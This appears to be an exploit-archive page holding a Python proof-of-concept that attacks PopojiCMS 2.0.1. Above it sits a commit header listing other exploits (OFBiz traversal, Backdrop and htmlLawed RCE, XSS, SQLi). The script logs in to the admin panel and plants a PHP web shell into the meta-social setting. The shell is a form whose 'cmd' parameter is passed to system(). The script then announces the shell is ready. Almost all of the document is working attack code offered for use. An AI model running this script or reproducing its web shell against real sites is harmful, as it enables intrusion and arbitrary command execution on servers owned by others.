094f6f9304
7 changes to exploits/shellcodes/ghdb Apache OFBiz 18.12.12 - Directory Traversal Backdrop CMS 1.27.1 - Remote Command Execution (RCE) htmlLawed 1.2.5 - Remote Code Execution (RCE) PopojiCMS 2.0.1 - Remote Command Execution (RCE) Rocket LMS 1.9 - Persistent Cross Site Scripting (XSS) Wordpress Theme XStore 9.3.8 - SQLi
66 lines
No EOL
1.7 KiB
Python
Executable file
66 lines
No EOL
1.7 KiB
Python
Executable file
# Exploit Title: PopojiCMS 2.0.1 - Remote Command Execution
|
||
# Date: 14/04/2024
|
||
# Exploit Author: Ahmet Ümit BAYRAM
|
||
# Vendor Homepage: https://www.popojicms.org/
|
||
# Software Link:
|
||
https://github.com/PopojiCMS/PopojiCMS/archive/refs/tags/v2.0.1.zip
|
||
# Version: Version : 2.0.1
|
||
# Tested on: https://www.softaculous.com/apps/cms/PopojiCMS
|
||
|
||
import requests
|
||
import time
|
||
import sys
|
||
|
||
def exploit(url, username, password):
|
||
|
||
login_url = f"{url}/po-admin/route.php?mod=login&act=proclogin"
|
||
login_data = {"username": username, "password": password}
|
||
headers = {"Content-Type": "application/x-www-form-urlencoded", "Referer": f
|
||
"{url}/po-admin/index.php"}
|
||
session = requests.Session()
|
||
login_response = session.post(login_url, data=login_data, headers=headers)
|
||
if "Administrator PopojiCMS" in login_response.text:
|
||
print("Login Successful!")
|
||
time.sleep(1) # 1 saniye bekle
|
||
else:
|
||
print("Login Failed!")
|
||
return
|
||
|
||
edit_url = f"{url}/po-admin/route.php?mod=setting&act=metasocial"
|
||
edit_data = {"meta_content": """<html>
|
||
<body>
|
||
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
|
||
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
|
||
<input type="SUBMIT" value="Execute">
|
||
</form>
|
||
<pre>
|
||
<?php
|
||
if(isset($_GET['cmd']))
|
||
{
|
||
system($_GET['cmd']);
|
||
}
|
||
?>
|
||
</pre>
|
||
</body>
|
||
</html>"""}
|
||
edit_response = session.post(edit_url, data=edit_data, headers=headers)
|
||
if "cmd" in edit_response.text:
|
||
print("Your shell is ready:", url)
|
||
time.sleep(1)
|
||
else:
|
||
print("Exploit Failed!")
|
||
return
|
||
|
||
if __name__ == "__main__":
|
||
if len(sys.argv) != 4:
|
||
print("Kullanım: python exploit.py sitename username password")
|
||
sys.exit(1)
|
||
|
||
url = sys.argv[1]
|
||
username = sys.argv[2]
|
||
password = sys.argv[3]
|
||
print("Exploiting...")
|
||
time.sleep(1)
|
||
print("Logging in...")
|
||
time.sleep(1)
|
||
exploit(url, username, password) |